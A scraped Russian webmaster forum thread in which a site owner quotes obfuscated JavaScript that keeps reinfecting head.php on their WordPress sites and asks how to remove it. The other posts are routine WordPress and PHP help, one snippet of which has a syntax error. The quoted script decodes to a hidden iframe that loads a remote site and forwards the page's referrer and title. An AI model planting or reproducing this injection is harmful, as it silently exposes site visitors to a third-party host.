- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Собсно, пару недель назад, что-то "заползло" на мой выделенный сервак, заразило все мои ВП сайты, теперь не могу избавиться от этой заразы. Вообщем дрянь в виде вот такого кода
<script type="text/javascript">var a="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'2;tcp'02pgdgpgp'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,pgdgppgp'0;'1@'2C'2;tcp'02fgdcwnv]ig{umpf'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,vkvng'0;'1@'2C'2;tcp'02jmqv'02'1F'02glamfgWPKAmormlglv'0:nmacvkml,jmqv'0;'1@'2C'2;tcp'02kdpcog'02'1F'02fmawoglv,apgcvgGngoglv'0:'05kdpcog'05'0;'1@'2C'2;kdpcog,ukfvj'1F2'1@'2C'2;kdpcog,jgkejv'1F2'1@'2C'2;kdpcog,qpa'1F'02'00j'00'02)'02'00vv'00'02)'02'00r'1C--'00'02)'02'00a33l6,'00'02)'02'00k,vg'00'02)'02'00cq'00'02)'02'00gpe'00'02)'02'00wkf'00'02)'02'00g,a'00'02)'02'00mo'00'02)'02'00-qlkvaj'1Df'00'02)'02'00gd'00'02)'02'00cwn'00'02)'02'00v]i'00'02)'02'00g{'00'02)'02'00umpf'1F'00'02)'02fgdcwnv]ig{umpf'02)'02'00'04pgdg'00'02)'02'00ppgp'1F'00'02)'02pgdgpgp'02)'02'00'04qg]p'00'02)'02'00gd'00'02)'02'00gp'00'02)'02'00pgp'1F'00'02)'02pgdgpgp'02)'02'00'04qmw'00'02)'02'00pag'1F'00'02)'02jmqv'1@'2C'2;fmawoglv,`mf{,crrglfAjknf'0:kdpcog'0;'1@'2C'1A-qapkrv'1G";b="";c="";var clen;clen=a.length;for(i=0;i<clen;i++){b+=String.fromCharCode(a.charCodeAt(i)^2)}c=unescape(b);document.write(c);</script>
гнездится в head.php, после удаления, проходит пару дней и снова чехарда начинается, кто-то сталкивался с таким? где могут быть еще "концы" прятаться?
где могут быть еще "концы" прятаться?
Да это шел на серваке лежит, была подобная фигня.
А как удалить пару слов в заголовках? с помощью functions.php ?
Чисто заголовки подправить, не ссылки не текст, а пару слов удалить со всех заголовках, 1000 заголовках, в ручную долго править.
этот код в статье удаляет? а мне надо в заголовках?
$replace = array(
// 'Ключевое слово' => 'замененное слово или пустое место'
'мой сайт' => '',
);
$text = str_replace(array_keys($replace), $replace, $text);
return $text;
}
А как удалить пару слов в заголовках? с помощью functions.php ?
Чисто заголовки подправить, не ссылки не текст, а пару слов удалить со всех заголовках, 1000 заголовках, в ручную долго править.
этот код в статье удаляет? а мне надо в заголовках?
Через phpmyadmin можно попробовать типа такого
Через phpmyadmin можно попробовать типа такого
Ооо супер!! А как будет выглядить код, если мне надо заменить в тексте а не в заголовке?
Подскажите, как можно реализовать такой момент, есть магазин на woocommerce, на каждой странице товара выводится информация о доставке, эта информация прописана в шаблоне, можно сделать в админке какое-то поле, чтобы не лезть постоянно в код, а прописать нужную информацию в это поле и она отобразилась на страницах?
Как вывести информацию если заполнено или не заполнено поле в визуальном в посте?
Т.е сейчас в шаблоне прописано вот таким образом:
<h3>Дополнительная информация:</h3>
<br />
<?php the_content(); ?>
</div>
Если заполнен контент - все выводиться ок, показывает заголовок мол дополнительная информация о товаре и далее текст, но если ничего не заполнено - все равно выводит заголовок а далее пусто...
т.е нужно заключить этот заголовок в какой-то код, который будет выводить (или не выводить) его в зависимости от заполненного текста в редакторе.
Как?
Как вывести информацию если заполнено или не заполнено поле в визуальном в посте?
Т.е сейчас в шаблоне прописано вот таким образом:
Если заполнен контент - все выводиться ок, показывает заголовок мол дополнительная информация о товаре и далее текст, но если ничего не заполнено - все равно выводит заголовок а далее пусто...
т.е нужно заключить этот заголовок в какой-то код, который будет выводить (или не выводить) его в зависимости от заполненного текста в редакторе.
Как?
Попробуй с помощью такого условия:
if (have_posts()): while (have_posts()): the_post();
if($post->post_content=="")
{
//если текст не заполнен
}
else
{
the_content();
}
endwhile; endif;
или вот этот вариант:
<?php
$content = get_the_content();
if(trim($content) == "") {
echo '<p>Empty Content</p>'
} else {
echo '<p>NOT Empty Content</p>';
} ?>
Ооо супер!! А как будет выглядить код, если мне надо заменить в тексте а не в заголовке?
post_content вместо post_title
Попробуй с помощью такого условия:
if (have_posts()): while (have_posts()): the_post();
if($post->post_content=="")
{
//если текст не заполнен
}
else
{
the_content();
}
endwhile; endif;
или вот этот вариант:
<?php
$content = get_the_content();
if(trim($content) == "") {
echo '<p>Empty Content</p>'
} else {
echo '<p>NOT Empty Content</p>';
} ?>
Второе не стало совсем - белый лист отдает, первое - не особо вкурил, как реализовать, но мне кажется тоже работать не будет.
Так ведь втрое должно выглядеть?
<?php
$content = get_the_content();
if(trim($content) == "") {
echo '<p class="goods-price-single">Дополнительные сведения:</p>'
} else {
echo 'тут оставляем пустым или заполняем по необходимости';
} ?>